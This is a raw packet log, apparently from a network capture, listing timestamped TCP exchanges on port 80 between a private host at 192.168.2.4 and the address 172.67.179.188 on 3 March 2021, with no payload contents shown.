Mar 3, 2021 07:33:32.025476933 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.025482893 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.025495052 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.025511980 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.025518894 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.025537968 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.025554895 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.025573015 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.025599957 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.025600910 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.025620937 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.025636911 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.025644064 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.025669098 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.025677919 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.025691986 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.025713921 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.025736094 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.025749922 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.025757074 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.025785923 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.025800943 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.025809050 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.025830030 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.025851965 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.025860071 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.025871038 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.025875092 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.025897980 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.025922060 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.025923967 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.025949001 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.025959969 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.025975943 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026002884 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026019096 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.026026011 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026051998 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026067019 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.026073933 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026096106 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026117086 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026122093 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.026140928 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026158094 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.026164055 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026187897 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026210070 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026220083 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.026236057 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026258945 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026257992 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.026282072 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026299000 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.026304960 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026324987 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026349068 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026349068 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.026371002 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026392937 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026411057 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.026412964 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026434898 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026437998 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.026457071 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026472092 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.026475906 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026496887 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026520967 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026525021 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.026542902 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026559114 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.026563883 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026583910 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026597977 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.026606083 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026626110 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026647091 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026654959 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.026668072 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026690960 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.026691914 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026714087 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026736021 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026748896 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.026760101 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026778936 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.026779890 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026801109 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026822090 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026829958 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.026843071 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026863098 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.026866913 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026890039 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026911020 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026911974 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.026933908 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026953936 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026973963 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.026985884 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.026993990 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027014971 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027023077 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.027038097 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027049065 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.027060986 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027081966 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027091026 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.027103901 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027124882 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027132988 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.027144909 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027164936 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027183056 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.027184963 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027208090 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.027209044 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027231932 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027254105 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027266979 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.027275085 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027296066 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027304888 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.027318001 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027338982 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027345896 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.027359009 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027383089 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027385950 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.027404070 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027425051 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027448893 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.027461052 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027484894 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027503967 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027504921 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.027523041 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027539968 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.027544975 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027566910 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.027568102 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027587891 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027606010 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.027606010 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027625084 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027642965 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.027643919 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027664900 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027683973 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027690887 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.027704000 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027725935 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027729988 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.027746916 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027755976 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.027766943 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027786970 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027805090 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027810097 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.027827024 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027842999 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.027847052 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027865887 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027887106 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.027888060 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027909040 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027929068 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027947903 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.027949095 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027968884 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.027985096 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.027988911 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.028009892 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.028012037 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.028031111 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.028043032 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.028055906 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.028079033 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.028100014 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.028104067 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.028120041 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.028146029 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.028150082 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.028168917 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.028188944 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.028191090 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.028213978 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.028237104 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.028239965 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.028264999 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.028286934 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.028296947 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.028311968 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.028333902 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.028337002 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.028353930 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.028368950 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.028386116 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.028400898 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.028403044 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.028415918 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.028434992 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.028472900 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.028959990 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.028984070 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.028999090 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.029014111 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.029031038 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.029037952 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.029047012 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.029062986 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.029078960 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.029095888 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.029115915 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.029122114 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.029134035 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.029154062 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.029174089 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.029181957 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.029195070 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.029206038 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.029213905 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.029231071 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.029233932 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.029257059 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.076529026 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.076567888 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.076596975 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.076618910 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.076633930 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.076642036 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.076661110 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.076664925 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.076689005 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.076699972 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.076711893 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.076735020 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.076747894 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.076756001 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.076777935 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.076790094 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.076816082 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.076839924 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.076842070 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.076858044 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.076885939 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.078623056 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.078660011 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.078685045 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.078741074 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.078751087 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.078756094 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.078819990 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.078860044 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.078877926 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.078938961 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.078985929 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.079071999 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.079130888 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.079179049 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.079267025 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.079323053 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.079344988 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.079385042 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.088093042 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.088131905 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.088154078 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.088176012 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.088198900 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.088208914 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.088219881 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.088232040 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.088243008 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.088265896 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.088268042 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.088285923 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.088291883 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.088316917 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.088334084 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.088339090 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.088361979 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.088383913 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.088396072 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.088404894 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.088428020 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.088430882 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.088449955 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.088474989 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.088476896 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.088500023 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.088522911 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.088524103 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.088546991 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.088570118 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.088587999 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.088593006 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.088614941 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.088615894 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.088637114 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.088663101 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.088675976 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.088686943 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.088710070 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.088713884 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.088732958 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.088748932 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.088756084 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.088781118 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.088803053 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.088804007 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.088825941 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.088851929 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.088852882 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.088871956 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.088893890 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.088908911 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.088917017 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.088939905 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.088943958 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.088962078 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.088975906 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.088984966 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.089006901 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.089030981 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.089032888 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.089056015 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.089072943 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.089077950 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.089097023 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.089118958 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.089138985 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.089140892 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.089165926 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.089169025 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.089188099 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.089205980 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.089215040 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.089238882 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.089260101 CET	49778	80	192.168.2.4	172.67.179.188
